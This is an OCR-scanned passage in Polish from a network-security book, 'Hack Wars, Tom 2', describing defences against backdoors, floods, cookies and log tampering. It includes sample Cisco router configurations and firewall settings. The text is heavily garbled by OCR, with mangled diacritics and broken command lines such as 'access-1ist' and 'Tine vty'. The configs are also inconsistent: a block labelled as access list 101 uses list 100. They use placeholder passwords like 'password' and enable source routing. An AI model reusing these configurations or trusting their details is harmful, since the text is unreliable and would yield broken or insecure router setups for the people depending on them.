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Napisana przez Johna Chirillo prowokacyjna ksiazke ,Hack Wars. Tom 1. Na tropie
" DODA | hakeréw” prezentuje sposoby, w jakie hakerzy postrzegaja technologie sieciowe,
przybliza techniki uzywane do wykorzystania luk w zabezpieczeniach sieci, a takze
uczy, jak mozna rozpozna¢ nadchodzacy atak.

O e ————————————
v NNWﬂNﬁ]ﬂWﬂﬂiﬂE* W ,Hack Wars. Tom 2. Administrator kontratakuje” Chirillo krok po kroku uczy, jak

obroni¢ sie przed wtamaniami do sieci przy uzyciu tych samych narzedzi Tiger Box,
ktore hakerzy wykorzystuja do wykrycia i spenetrowania stabych punktow. Czerpiac ze

———

0/ NOWOSCIACH swoich do$wiadczen konsultanta zatrudnianego przez firmy z listy Fortune 1000, aby
wtamywat sie do ich sieci, Chirillo omawia wszystkie niezbedne procedury konieczne do
= ZAMOWTCENNIK uzyskania petnego bezpieczenstwa oraz pomaga powiaza¢ wszystkie informacje

i stworzy¢ skuteczng polityke bezpieczenstwa.

e Sposoby zabezpieczenia infrastruktury sieciowej poprzez ochrong wrazliwych
portow (wtaczajac w to porty znane i ukryte), ustugi oraz metody
uniemozliwiajace zebranie informacji

¢ Sposoby wykrycia wtamania i zabezpieczenia sie przed nim — od metody
Lylnych drzwi” i atakéw DoS do bomb pocztowych, infekcji wirusowych
i wtamania na strone internetowg

o Najwazniejsze techniki chroniace popularne bramy i routery, demony serweréw
internetowych, systemy operacyjne oraz proxy i firewall
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Rozdziat 2.
Mechanizmy ochrony

przed wiamaniami

Jasne jest, iz jesli nasze systemy komputerowe maja dziata¢ zgodnie z firmowymi lub
osobistymi zasadami bezpieczenstwa, to zawsze jakie$ porty lub ustugi beda do pewne-
go stopnia wrazliwe na ataki hakeré6w. Aby maksymalnie zredukowac te stabosci i za-
bezpieczy¢ si¢ przed zdalng infiltracja, konieczne jest poznanie szczegétdw pewnych
procedur, ktére powinny sta¢ si¢ czgscig kazdej polityki zabezpieczen. Tego wiasnie
dotyczy drugi rozdziat tej ksiazki. W pierwszym omodwilismy konkretne techniki, kto-
rych mozna uzy¢ do uchronienia si¢ przed atakami wykorzystujacymi zarezerwowane
i ukryte porty oraz ustugi. W tym poznasz kroki wymagane przy wprowadzaniu srod-
kéw zabezpieczajacych, znane jako mechanizmy ochrony przed wlamaniami. Jednym
zdaniem, sg to techniki uzywane do zabezpieczenia systemu przed penetracja.

Zabezpieczanie przed penetracjq

Ten rozdzial moze stanowi¢ odpowiedz na pytania postawione w pierwszym tomie tej
ksiazki, Hack wars. Na tropie hakeréw, ktory przedstawia szczegdtowe informacje doty-
czace roznego rodzaju prob penetracji systemu (wlaczajac w to ataki polegajace na: wy-
korzystaniu luk wykrytych w czasie zbierania informacji i skanowania lokalizacji, wywo-
faniu ogdlnego chaosu, uzyskaniu dostepu na prawach administratora, wlamaniu si¢
i przejeciu kontroli nad komputerami, serwerami i urzadzeniami sieciowymi, a takze
wykorzystaniu potencjalnych dziur w zabezpieczeniach zarowno zdalnych, jak i lo-
kalnych). W tym rozdziale zademonstrujemy techniki pozwalajace na zabezpieczenie
si¢ przed takimi atakami. Poznamy metody ochrony przed programami wykorzystujacym
tylne drzwi (backdoor), przepelianiem (flooding), manipulacja dziennikami, bombar-
dowaniem poczta (mail bombing), spamowaniem, tamaniem haset, podszywaniem si¢
(spoofing), podstuchiwaniem pakietow, wirusami oraz wlamaniami na strony internetowe.
Przyjrzymy sig¢ takze komercyjnym programom do tworzenia barier ochronnych, recznym
technikom zespotu Tiger Team, a takze wlasnym sposobom zabezpieczania programow.
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Niektore srodki ochronne przed typowymi atakami hakerow zostana omowione bardziej
szczegdtowo. Po przeczytaniu bedziesz posiadat wystarczajaca wiedz¢ w zakresie za-
bezpieczenia lokalnej i zdalnej komunikacji.

Ochrona przed programami
wykorzystujgcymi tylne drzwi

Rozdziat rozpoczniemy od omdwienia technik wykorzystujacych do wlamania tylne
drzwi. Jak juz stwierdziliSmy w pierwszym tomie tej ksigzki, takie programy sktadaja
si¢ z narzedzi uzywanych przez hakeréw do uzyskania i utrzymania dostgpu do sys-
temu, a takze do ukrycia swoich $ladow dostepu. A poniewaz lekarstwo na takie pro-
by wiamania moze réwniez postuzy¢ do naprawienia wad réznych systemoéw operacyj-
nych, w tej czegsci przedstawimy takze bariery ochronne przeciwko programom
wykorzystujacym tylne drzwi. Odnosza si¢ one do aktualnie wykorzystywanej archi-
tektury zabezpieczen bramy, co obejmuje na przyktad firewalle, filtry oraz proxy za-
réwno proste, jak i zaawansowane.

Badanie naruszen zabezpieczen przez programy tego typu moze by¢ skomplikowanym
przedsigwzigciem i dlatego musi by¢ dokladnie zaplanowanie. W czasie fazy projek-
towania zabezpieczen nalezy rozwazy¢ trzy czesto wystepujace schematy implemen-
tacji narzedzi wykorzystujacych tylne drzwi. Mowa tu o wirtualnej kontroli potacze-
nia, wewnetrznych implantach oraz wewngtrznych i zewngtrznych stabosciach.

Wirtualna kontrola potaczenia

Telnet, ustuga wspolpracujaca z zarezerwowanym portem 23, dziala na szczycie pro-
tokotu TCP/IP jako emulator terminala dla sesji logowania. Og6lna zasada jest, iz, je-
§li to tylko mozliwe, nalezy zablokowac¢ te ustuge przed zdalnym dostgpem. Niestety,
czesto jest ona niezbedna do zarzadzania lokalnego.

W rozdziale 1. opisano sposdb wylaczenia oraz zabezpieczenia tej ustugi w syste-
mach Windows i UNIX. W przypadku systemow sieciowych mozesz dokonaé kilku
prostych modyfikacji konfiguracji w celu zdalnego zablokowania dostgpu przez Tel-
net, pozwalajac na lokalne uwierzytelnianie. Zajrzyj do podrecznika obstugi danego
urzadzenia, aby uzyska¢ informacje na temat procedury i aktualizacji. W tej cze$ci
przyjrzymy si¢ doktadniej dwom podstawowym aplikacjom.

Przyktad 1: Filtry urzadzen dostepowych Cisco

W scenariuszu przedstawionym na rysunku 2.1 dwie sieci sg rozdzielone przy uzyciu
routeréw filtrujacych dostep. Lacze WAN migdzy nimi moze symbolizowa¢ dowolne
medium komunikacyjne, takie jak tacze dzierzawione, xDSL, ISDN, potaczenie ko-
mutowane itp. (interfejs WAN oczywiscie zmieni si¢ odpowiednio; dla przyktadu, je-
$li uzywasz DSL, bedzie to Ethernet 1, a jesli korzystasz z ISDN, interfejs wskaze
BRI 0). Mozna zmieni¢ rowniez zdalna sie¢ w celu przedstawienia Internetu, sieci
klienta, sieci LAN dostawcy itp. Przyjrzyjmy si¢ teraz konfiguracji sprzgtowej, ktora
musi spetnié¢ nastgpujace wymagania:
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Rysunek 2.1.

Typowy scenariusz
sieci WAN z routerami
filtrujqcymi dostep
Serial 0
172.29.42.2130

Ethernet 0
172.29.41.1124

()L Zdalna sie¢ LAN

Stacje robocze:
172.29.43.50-100

Ethernet 0

172.29.43.1/24
tacze WAN xDSL, Dial-up,
tacze dzierzawione, ISDN, itp.
Serial 0
172.29.42.1/30

()L Lokalna sie¢ LAN

Stacje robocze:
172.29.41.10-250

4 lokalni uzytkownicy moga uzyskac dostep do wszystkich ustug w zdalnej sieci;

¢ zdalni uzytkownicy nie moga korzystac z ustug felnet i rtelnet w sieci lokalne;;

4 stosowane jest szyfrowanie haset.

B Konfiguracja lokalna

service password-encryption
no service tcp-small-servers
no service udp-small-servers
|

hostname Local
|

enable password 7 password
|

ip source-route

no ip name-server

|

ip subnet-zero

no ip domain-Tlookup

ip routing

|

interface Ethernet 0

no shutdown

description connected to Ethernet LAN
ip address 172.29.41.1 255.255.255.0
ip access-group 100 in

keepalive 10

interface Serial 0

no shutdown

description connected to Remote network
ip address 172.29.42.1 255.255.255.252
ip access-group 100 in

encapsulation hdlc

|

I Lista kontroli dostepu 100
|
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access-1list 100 deny ip 172.29.42.0 0.0.0.3 any
access-Tlist 100 deny ip 172.29.43.0 0.0.0.255 any
access-1ist 100 permit udp any eq rip any eq rip
access-1ist 100 permit tcp any any established
access-Tist 100 permit ip any 172.29.42.0 0.0.0.3
access-Tist 100 permit ip any 172.29.43.0 0.0.0.255
|

I Lista kontroli dostepu 101

|

access-Tist 100 deny ip 172.29.41.0 0.0.0.255 any
access-1ist 100 permit udp any eq rip any eq rip
access-1ist 100 permit tcp any any established
access-Tist 100 deny tep 172.29.41.0 0.0.0.255 eq 23
access-1ist 100 deny tcp 172.29.41.0 0.0.0.255 eq 107
access-1ist 100 permit ip any 172.29.41.0 0.0.0.255
|

router rip

version 2

network 172.29.0.0

no auto-summary

|

|

ip classless
no ip http server
snmp-server community Tocal RO
no snmp-server location
no snmp-server contact

|

line console 0

exec-timeout 0 0

password 7 123

login

|

Tine vty 0 4

password 7 password

login

B Konfiguracja zdalna

service password-encryption
no service tcp-small-servers
no service udp-small-servers
|

hostname Remote
|

enable password password
|

no ip name-server

|

ip subnet-zero

no ip domain-Tookup
ip routing

|

interface Ethernet 0

no shutdown

description connected to Ethernet LAN
ip address 172.29.43.1 255.255.255.0
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keepalive 10

|

interface Serial 0

no shutdown

description connected to Local network
ip address 172.29.42.2 255.255.255.252
encapsulation hdlc

|

router rip

version 2

network 172.29.0.0

no auto-summary

|

|

ip classless

no ip http server

snmp-server community Tocal RO
no snmp-server location

no snmp-server contact

|

Tine console 0

exec-timeout 0 0

password 123

login

|

Tine vty 0 4
password password
login

Przyktad 2: Firewall NetScreen

Do scenariusza przedstawionego na rysunku 2.1 w tym przyktadzie dodamy firewall Nez-
Screen miedzy lokalnym routerem a siecia LAN. Glownym celem tego firewalla jest
ochrona sieci lokalnej przed atakami hakeréw, cho¢ w tym przyktadzie skoncentrujemy
si¢ na wylaczeniu Telnetu dla uzytkownikéw z zewnatrz. Na szczescie, dzieki zdobywaja-
cemu nagrody interfejsowi konfiguracji NetScreen ta modyfikacja bedzie bardzo prosta.

Bedac w gtéwnym interfejsie, wybierz Configure z opcji menu System po lewej stronie.
Teraz w zaktadce Interface na goérze gtdwnej ramki odnajdz opcje Untrust Interface
i anuluj zaznaczenie Telnet, tak jak pokazano to na rysunku 2.2.

Wewnetrzne implanty

Wewnetrzne implanty wystepuja dos¢ czesto i sg wysoce niebezpieczne. Takie im-
planty sa instalowane w wewngtrznej sieci przez zaufanego uzytkownika, technika
lub osobe, na ktora podziatano przy uzyciu inzynierii spotecznej. Jest to zwykle ktos,
kto ma osobiste zastrzezenia do firmy lub wspodtpracownik hakera nie posiadajacego
dostepu do sieci wewngetrznej.

Nie trzeba by¢ osobg ze zmystem technicznym, aby zdaé sobie sprawe, iz ten typ za-
grozenia wymaga wprowadzenia polityki zabezpieczen, ktora obejmuje blokowanie
dostegpu do centrow danych, kamery, a takze dzienniki modyfikacji zawierajace in-
formacje o dostegpie do systemu. Kazdy serwer, router i firewall powinien mie¢ wlaczona
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Rysunek 2.2.
ysune X B NETSCREEN-100
Wylqczanie funkcji |
Telnet w interfejsie :
. . & system
uzytkownika WS || et nertce —
System IP 17223415 Port 80
NetScreen N, - .
A Trust Interface ( Physical Address 0010,d500 6830, Up/100Mb )
Network
oy Inside IP 172.29.41.2 NetMask 255.255.255.0
B s Default Gateway 172.29.441 Traffic Bandwidth 100000 | Kops
| viruate Ensble W Pirg P Telnet ¥ scs ¥ snmp
' N5.Global W we U1 T Ident-reset
QIR || Untrust Interface ( Physical Address 0010.db00 6641, Up/100Mb )
| service ] Outside IP 172.29.42.1 NetMask 255.255.255.0
| Schaduie™"Y Default Gateway 17229422 Traffic Bandwidth 256 Kops
| ST Ensble ¥ Pirg I Telnet I scs ™ sNMP
¥ NS.Global [~ web Ul I Ident-reset
DMZ Interface ( Physical Address 0010.db00 6742, Down )
% DMZ IP NetMask 255.255.255.255
“ Traffic Bandwidth 0 Kbps
Ensble ¥ Pirg ™ Telnet " scs I~ sNMP [
= [ NS.Global [ weo Ul I Ident-reset &
wifiil | .J"

funkcje zapisywania regularnie archiwizowanych dziennikow (obejmuje to réwniez ta-
$my z kamer). Komercyjne programy, ktére zawieraja standardowe mechanizmy two-
rzenia dziennikdw, powinny by¢ uzywane nie tylko do badania dziatania funkcji, ale
takze do zbierania dowodow na aktywno$¢ zespotéw hakerskich. Wszyscy goscie, ze-
wnetrzni konsultanci i dostawcy powinni wchodzi¢ do biura tylko w towarzystwie auto-
ryzowanych pracownikow i przez caty czas nosi¢ plakietki identyfikujace.

Wewnetrzne i zewnetrzne stabosci

Jesli sie¢ oferuje zdalne ustugi ze strefy zdemilitaryzowanej lub za pomocg bezpiecz-
nego potaczenia przez firewall (do wewnetrznej sieci LAN) na zewnatrz sieci we-
wnetrznej, niektore ustugi moga by¢ podatne na implementacj¢ narzedzi wykorzy-
stujacych tylne drzwi. Jest to zwykle mozliwe po skutecznej penetracji w czasie ataku
wstepnego, takiego jak proba przepetnienia bufora czy portu.

Wiekszos$¢ systemow zabezpieczen jest uwazana za nieadekwatne, co oznacza, iz ha-
ker moze co najmniej spowodowac przepetnienie bufora lub portu. Aby zabezpieczy¢
si¢ przed takimi probami wstgpnego ataku, uproscitem szczegédtowe techniki Tiger
Team do postaci listy czynnosci do wykonania. Bardzo wazne jest wykonanie in-
strukcji przedstawionych w kolejnych sekcjach rozdziatu i potraktowanie ich jako
niezbednej polityki zabezpieczajacej przed zablokowaniem systemu. Prawde mdowiac,
kazdy krok przedstawiony w poszczegdlnych rozdziatach tej ksiazki powinien staé si¢
czescia takiej niezbednej procedury.

Ochrona przed cookies

W czasie przegladania Internetu, niezaleznie od wykonywanych czynnos$ci i odwiedza-
nych stron, prawie kazdy moze $ledzi¢ Twoje ruchy, zbierajac osobiste informacje
o Tobie. Taki wyciek waznych informacji jest mozliwy dzigki cookies. Zgodnie z weze-
$niejszymi informacjami wiemy, ze cookie to maly plik, ktéry zawiera dane wukorzy-
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stywane przez przegladarki internetowe. Dowiedzielismy si¢ takze, jak mozemy wyla-
czy¢ cookies, modyfikujac ustawienia zabezpieczen przegladarki. Taki drastyczny krok
moze jednak nie spotka¢ si¢ z pozytywnym przyjeciem, poniewaz niektore strony pro-
buja dokona¢ personalizacji naszych wizyt, pamigtajac nasze imiona, rekomendujac
produkty i §ledzac nasze konta. Alternatywa w takiej sytuacji moze by¢ zastosowanie
menedzera cookies.

Menedzerzy cookies to narzedzia, ktore monitoruja i przechwytuja niepozadana komu-
nikacje cookies w tle. W czasie przegladania Internetu, kiedy witryna probuje uzy¢ co-
okies do zebrania danych demograficznych, sledzi¢ sposob wykorzystania strony lub
zebra¢ dane osobiste, sprytny menedzer przechwyci takie cookies i zapyta nas o sposob
postgpowania. Dobry menedzer potrafi rowniez wykry¢ programy lokalne, ktére pro-
buja uzyskac¢ dostep do Internetu z naszego komputera.

Aby jeszcze bardziej zadbaé o swoja prywatno$¢, pamietaj o zastosowaniu dobrego me-
nedzera cookies, najlepiej takiego, ktory oferuje funkcje usuwania juz istniejacych. Mo-
zesz wybra¢ jeden z ponizszych programow:

4 McAfee Internet Security 4.0 (www.mcafee-at-home.com),
4 Limit Software Cookie Crusher 2.6 (www.thelimitsoft.com),
¢ Kookaburra Software Cookie Pal (www.kburra.com),

¢ Idcide Privacy Wall (www.idcide.com).

Ochrona przed przepemieniem

W pierwszym tomie tej ksiazki przedstawilismy wiele typowych odmian atakow przy
uzyciu przepetniania, wlaczajac w to techniki TCP, UDP i ICMP oraz przepetianie
portdw zarezerwowanych i sieci. Znalazla si¢ tam takze demonstracja sposobu, w jaki
napastnik moze spowodowac¢ w zaatakowanych urzadzeniach powazne przecigzenie
sieci, a w niektorych przypadkach nawet odmowe §wiadczenia ustug. Cale sieci zo-
staly ,,rzucone na kolana” przez przepetnienie w czasie rozgtaszania danych. Odpo-
wiedzig jest ta czgs¢ opisujaca $rodki ochronne przed tymi typowymi zagrozeniami;
omowiony tu zostanie sposob postgpowania dla serwerdw, stacji roboczych i urza-
dzen sieciowych. Rozpoczniemy od zademonstrowania sposobdw zabezpieczen stacji
roboczych, nastepnie przejdziemy do serweréw i zakonczymy na urzadzeniach sie-
ciowych.

Jesli nie masz wiasnej karty sieciowej lub wirtualnego demona, by¢ moze nie bedziesz
miat dostepu do opcji konfiguracji chroniacych przed przepetnieniem TCP, UDP i ICMP.
W takiej sytuacji nalezy uzyska¢ odpowiednie oprogramowanie zabezpieczajace, takie
jak firewalle czy narzedzia typu BlackICE Defender (w czgSci 1. tej ksiazki przedsta-
wiono wiele zestawow oprogramowania, ktére udostepniaja zabezpieczenia przed tech-
nikami przepetniania). Przyktad takiego programu znajduje si¢ na rysunku 2.3; przyjrzyj
sig, jak BlackICE mozna skonfigurowac na roznych poziomach zabezpieczenia przed
niepozadanym ruchem.
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Rysunek 2.3. > BlackICE Settings e x|
Konﬁguraqa Trusted Addresses I Blocked Addresses ] ICEcap ]
narzedzia BlackICE Packetlog | Evidencelog | BackTrace |
zapewniajqca Select your desired protection level
OéhVOf’lQ przed  Security Level
meiozqdany m | € Paanoid  Blocks allunsolicted inbound tsffc.
rucnem

& Nervous Blocks most unsolicited inbound traffic.

" Cautious Blocks some unsolicited inbound traffic. |

" Trusting Allows all inbound traffic.

[~ allow Intemnet file sharing
[~ Allow NetBI0S Neighborhood

oK I Cancel I prls I Help 1

Zwykle takie narzedzie jest ustawione na poziom zabezpieczen, ktdry automatycznie
chroni poszczegdlne stacje robocze przed przepetieniem. Uruchomiona jest rowniez
funkcja zapisywania wszystkich dziatan w dzienniku. Rysunek 2.4 przedstawia funk-
cje wykrywania i zabezpieczania przed przepetnieniem ICMP wraz z opcja dodania
hakera do listy zablokowanych adresow.

Rysunek 2.4. <> BlackICE by Network ICE g 1ol x|
Ochrona File Toolks Help T
izabezpieczenie Attacks llntludevsl Hislcwyl |nfolmall0n]

przed przepelnieniem

ICMP

2 .11 - St .
T 28 ek s B -
® 2000105223322 ICMP flood 83; Rorientour
® 2000103104957 TCPporprobe  fpd o et poisDey
) 2001103104305 TP portpobs ot SR RS
R\ 200011 02 10.42.24_TOD ot cnbon iR

Ten sam typ narzedzi moze by¢ wykorzystany do zabezpieczenia pojedynczych ser-
werdw, ale mimo to omowimy najpopularniejsze metody ochrony ushug oferowanych
przez serwery.

Nalezy pamietaé o przestrzeganiu ogélnej zasady, moéwiacej o instalacji najnow-
szej wersji systemu operacyjnego i wszystkich aktualizacji. Producenci oprogra-
mowania doktadajg staran, aby przeciwdziataé nowym odmianom atakéw hake-
réw. Nalezy takze dobrze zabezpieczy¢ zarezerwowane ustugi portéw, takie jak
echo, chargen i telnet, dzieki czemu istnieje szansa wyeliminowania wielu zdal-
nych napastnikow.

Aby wylaczy¢ te ustugi w systemach Windows, musisz dokona¢ edycji rejestru syste-
mowego, uruchamiajac narzedzie regedit.exe ze znaku zachety Start|Uruchom. Wyszu-
kaj wpisy dla tych ushug i ustaw ich wartos¢ na false lub 0. Po zakonczeniu edycji zre-
startuj system i zweryfikuj wszystkie modyfikacje. Jesli chcesz wylaczy¢ te ushugi
w systemie UNIX, po prostu dokonaj edycji pliku /etc/inetd.conf i oznacz wpis ustugi
jako komentarz. Nastgpnie zrestartuj caty system lub tylko proces inetd. Wigcej infor-
macji na temat tych procedur mozesz znalez¢ w rozdziale 1. Tak jak wspomniano w tym
rozdziale, jesli masz watpliwosci dotyczace tych modyfikacji, mozesz zajrze¢ do dodat-
ku A, gdzie znajduja si¢ informacje na temat réznych programdéw zabezpieczajacych.
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TigerWatch pozwala na aktywne monitorowanie i blokowanie portow systemowych
1 ustug bez koniecznosci dokonywania zmian w rejestrze lub recznego wytaczania danej
ustugi.

W przypadku gdy dana ustuga jest wymagana przez firmowe lub osobiste zasady dzia-
fania, mozesz w UNIX-ie wilaczy¢ funkcje wrap dla tej ushugi lub ograniczy¢ liczbe
jednoczesnych potaczen z dang ustuga. Ograniczajaé liczbe odpowiedzi na zapytania
portu, mozesz unikna¢ przepetienia, poniewaz serwer poswigci zasoby tylko na bez-
pieczng ilos¢ otwartych sesji (patrz rysunek 2.5). Ta procedura jest szczegdlnie polecana
dla demonow typu Telnet, FTP i http. Nie nalezy réwniez zapomnie¢ o wylaczeniu ba-
nerdéw ushug oraz otwieraniu dostepnych sesji przy uzyciu adreséw IP lub zaszyfrowanego

uwierzytelniania.
Rysunek 2.5.
Ograniczanie [~ Enable the Telnet daemon
zapytan sesji ustugi Lo o S '5— j

‘—!_ Allow sessions only from these addresses.

Obecnie producenci sprzgtu sieciowego dotaczaja do swoich urzadzen zaawansowane
moduly i aktualizacje zabezpieczajace przed przepelnieniem. Zanim wigc kupisz no-
wy sprzet, wybierz urzadzenie, ktdre jest stabilne i nie znajduje sie w fazie testowej
lub na poczatku produkcji. Inzynierowie zawsze kompiluja nowsze wersje urzadzen
z prostszym interfejsem dziatania oraz mniej enigmatycznymi procedurami wiersza
polecen. Dobrym przyktadem moga by¢ tutaj routery Cisco z wlaczona funkcja fire-
walla, ktére oferuja zaawansowane opcje zabezpieczen wymienione ponizej.

4 Global Timer Values (globalne wartos$ci licznikdw). Te opcje determinujg
okres czasu, jaki musi mina¢ dla réznych stanow potaczen, zanim polaczenie
zostanie przerwane.

¢ TCP connection timeout — czas oczekiwania na polaczenie TCP, zanim
polaczenie nie zostanie przerwane.

¢ TCP FIN-wait timeout — czas oczekiwania na zakonczenie potaczenia
TCP, zanim potaczenie nie zostanie przerwane.

¢ TCP idle timeout — czas braku aktywnosci potaczenia TCP, zanim
polaczenie nie zostanie przerwane.

¢ UDP idle timeout — czas braku aktywnosci potaczenia UDP, zanim
potaczenie nie zostanie przerwane.

¢ DNS timeout — czas dozwolony na probe potaczenia z serwerem DNS,
zanim proba nie zostanie uznana za nieudana.

¢ DoS Attack Threshold (progi licznikoéw atakéw DoS). Te opcje ograniczaja
liczbe pototwartych sesji DoS. Niezwykle wysoka liczba pototwartych sesji
DoS zaréwno pod wzgledem liczby catkowitej, jak i predkosci przyrostu
moze swiadczy¢ o probie ataku DoS (odmowa ustugi). Gérne wartosci
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progéw w tej grupie wskazuja liczbe sesji, ktéra wywotuje usunigcie
pototwartych sesji. Usuwanie takich sesji bgdzie trwato az do momentu
osiagniecia dolnej wartos$ci odpowiedniego progu.

¢ One-minute low threshold — liczba pototwartych sesji DoS w ciagu
ostatniej minuty, ktéra powoduje przerwanie procesu usuwania sesji DoS.

¢ One-minute high threshold — liczba pototwartych sesji DoS w ciagu
ostatniej minuty, ktéra powoduje rozpoczgcie procesu usuwania sesji DoS.

& Maximum incomplete session low threshold — calkowita liczba pétotwartych
sesji DoS, ktora powoduje przerwanie procesu usuwania sesji DoS.

¢ Maximum incomplete session high threshold — catkowita liczba
polotwartych sesji DoS, ktdra powoduje rozpoczgcie procesu usuwania
sesji DoS.

TCP Maximum Incomplete Sessions per Host (maksymalna liczba
pototwartych sesji TCP dla hosta). Podaje maksymalna liczbg sesji, ktore
moga by¢ otwarte dla kazdego hosta, zanim wywolane zostanie jakies$
dziatanie. To dzialanie jest zalezne od wartosci Blocking Time.

Blocking Time (czas blokowania). Jesli wlaczona jest ta opcja, to po osiagnigciu
maksymalnej wartosci TCP Maximum Incomplete Sessions per Host router
przestanie akceptowac kolejne sesje, az do momentu uptywu czas podanego
przez te opcje. Jesli wytaczono tg funkcje, kazda nowa sesja spowoduje
zamknigcie najstarszej sesji.

Przypomnij sobie scenariusz przedstawiony na rysunku 2.1 z dziatajacym firewallem.
Zaawansowane opcje zabezpieczen zmienia konfiguracje uruchomionego routera lo-
kalnego w nastepujacy sposob.

se
no
no
!
ho
|

rvice password-encryption
service tcp-small-servers
service udp-small-servers

stname Local

enable password 7 password

!
p
no
!
ip
no
ip
I
I
!
p
ip
ip
p
ip
ip

source-route
ip name-server

subnet-zero
ip domain-Tlookup
routing

Kontrola dostepu w oparciu o kontekst

inspect tcp synwait-time 30
inspect tcp finwait-time 5
inspect tcp idle-time 3600
inspect udp idle-time 30
inspect dns-timeout 5
inspect one-minute Tow 900
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ip inspect one-minute high 1100

ip inspect max-incomplete Tow 900

ip inspect max-incomplete high 1100

ip inspect tcp max-incomplete host 50 block-time 2
|

I IP inspect Ethernet 0

|

ip inspect name Ethernet 0 tcp

ip inspect name Ethernet 0 udp

ip inspect name Ethernet 0 cuseeme
ip inspect name Ethernet 0 ftp

ip inspect name Ethernet 0 h323

ip inspect name Ethernet 0 rcmd

ip inspect name Ethernet 0 realaudio
ip inspect name Ethernet 0 smtp

ip inspect name Ethernet 0 streamworks
ip inspect name Ethernet 0 vdolive
ip inspect name Ethernet 0 sqlnet

ip inspect name Ethernet 0 tftp

|

I IP inspect Serial 0
|

ip inspect name Serial 0 tcp

ip inspect name Serial 0 udp

ip inspect name Serial 0 cuseeme
ip inspect name Serial 0 ftp

ip inspect name Serial 0 h323

ip inspect name Serial 0 rcmd

ip inspect name Serial 0 realaudio
ip inspect name Serial 0 smtp

ip inspect name Serial 0 streamworks
ip inspect name Serial 0 vdolive
ip inspect name Serial 0 sqlnet

ip inspect name Serial 0 tftp

|

interface Ethernet 0

no shutdown

description connected to Ethernet LAN
ip address 172.29.41.1 255.255.255.0
ip inspect Ethernet 0 in

ip access-group 100 in

keepalive 10

|

interface Serial 0

no shutdown

description connected to Remote network
ip address 172.29.42.1 255.255.255.252
ip inspect Serial 0 in

ip access-group 101 1in

encapsulation hdlc

|

I Lista kontroli dostepu 100

|

access-1ist 100 deny ip 172.29.42.0 0.0.0.3 any
access-1ist 100 deny ip 172.29.43.0 0.0.0.255 any
access-1ist 100 permit udp any eq rip any eq rip
access-1list 100 permit ip any 172.29.42.0 0.0.0.3
access-1ist 100 permit ip any 172.29.43.0 0.0.0.255
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I Lista kontroli dostepu 101

|
access-1list 101 deny ip 172.29.41.0 0.0.0.255 any
access-1ist 101 permit udp any eq rip any eq rip
access-1list 101 deny tep 172.29.41.0 0.0.0.255 eq 23
access-1ist 101 deny tcp 172.29.41.0 0.0.0.255 eq 107
access-1ist 101 permit ip any 172.29.41.0 0.0.0.255
|

router rip

version 2

network 172.29.0.0

no auto-summary

|

!

ip classless
no ip http server
snmp-server community Tlocal RO
no snmp-server location
no snmp-server contact

|

Tine console 0

exec-timeout 0 0

password 7 password

login

|

line vty 0 4

password 7 password

login

Sprawdz u swojego producenta dostepnos¢ konkretnych procedur przeciwdziataja-
cych przepetianiu. Wiele interfejsow lub konsoli do lokalnego zarzadzania Internetem
jeszcze bardziej utatwia ustawienie odpowiednich opcji. Na rysunku 2.6 przyjrzyj si¢
systemowi ,,wskaz i zaznacz” w programie NetScreen.

Rysunek 2.6. [Firewall Settings
System v wskaz [V Detect SYN Attack SYN Attack Threshold |5_ 1Sec.
i zaznacz” ¥/ Detect ICMP Flood ICMP Flood Threshold W i Sec
w programie [V Detect UDP Flood UDP Flood Threshold [W ISec
NetScreen spmwia, [V Detect Ping of Death Attack [V Detect Tear Drop Attack
ze nawet [V Detect IP Spoofing Attack [V Filter IP Source Route Option
zaawansowane opcje [V Detect Port Sean Attack [V Detect Addvess Sweep Attack
ZabeZpieczeri stajq V' Detect Land Attack V' Block Java/Active XIZIP/EXE Component
Si@ proste V' Defamlt Packet Deny V' Detect Winluke Attack
™ synchronize system clock with this client Apply I Cancel ;—v
< | _'l_

Kolejnym popularnym atakiem hakerow jest rozglaszanie (broadcasting). Wedhug defini-
cji zawartej w pierwszym tomie tej ksiazki, oznacza to sposob transmisji czego§ we
wszystkich kierunkach. Wigkszo$¢ protokotow komunikacyjnych udostepnia funkcje
wysylania komunikatow do wszystkich weztéw w sieci. Dlatego tez wazne jest, aby po-
dzieli¢ wigksze sieci na mniejsze czgsci przy uzyciu mostow i routeréw, poniewaz takie
mniejsze segmenty tworza oddzielne domeny rozglaszania. Wyobraz sobie pojedyncza
sie¢ z 250 weztami, ktora padta ofiarg przepetnienia przez rozgtaszanie. Napastnik moze
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z tatwoscia zablokowac cala przepustowos¢ sieci. Jesli jednak taka sie¢ zostanie wia-
Sciwie podzielona na segmenty, routery i mosty beda mogtly filtrowaé takie ataki, nie
przesytajac po prostu takich transmisji przez interfejsy. W wigkszosci przypadkow taka
funkcja blokowania jest wlaczona domyslnie. Nalezy rowniez pamigtad, iz mozesz,
a czasami nawet powiniene$, uzupetni¢ taka blokade, uzywajac narzedzia do podshu-
chiwania pakietéw (sniffer).

Ochrona przed manipulacja dziennikami

Manipulacja dziennikami to $rodek dziatania hakeréw, stuzacy do edycji dziennika
nadzoru w celu usunigcia wszelkich §ladow aktywnosci w systemie docelowym. Do
tego celu hakerzy czgsto uzywaja oprogramowania ostaniajacego, ktore wyszukuje
1 niszczy dzienniki, oznakowania i pliki tymczasowe.

W pierwszym tomie tej ksiazki omowiliSmy typowe techniki manipulacji dziennikami
w systemach Windows i UNIX, wykonywane w standardowych warunkach operacyj-
nych. W tej czgséci skupimy si¢ na sposobach zabezpieczenia tych procedur, co obej-
muje metody archiwizacji w celu zapewnienia poprawnego dzialania funkcji zapisu
dziennikéw. Ta funkcja moze by¢ niezmiernie przydatna w czasie zbierania jedno-
znacznych dowodow na ataki hakeréw, a takze w przypadku rozwigzywania probleméw
zwigzanych z potencjalnymi konfliktami modyfikacji systemu. Istnieja rowniez pewne lo-
giczne procedury techniczne, ktére pomoga zabezpieczy¢ pliki dziennikdw, a takze zaim-
plementowa¢ redundancj¢ (nadmiarowosc).

Zapisywanie zdarzen w plikach dziennikoéw jest wazng funkcja systemoéw operacyj-
nych, urzadzen sieciowych oraz demonéw ustug. Posiadanie takich informacji, jak mo-
dyfikacje konfiguracji, status operacyjny, status logowania oraz wykorzystanie proce-
sOW, moze oszczedzi¢ wiele czasu poswigconego na rozwiazywanie problemdéw i badanie
zabezpieczen. Funkcja tworzenia dziennikéw przez system, przegladarke, terminal
i demony powinna sta¢ si¢ czescig procedury codziennego zbierania informacji sys-
temowych. Dla przyktadu pliki dziennikéw przegladarki sa przechowywane w ponizej
przedstawionych katalogach. Mozna je wykorzysta¢ w czasie codziennej archiwizacji.

| NETSCAPE

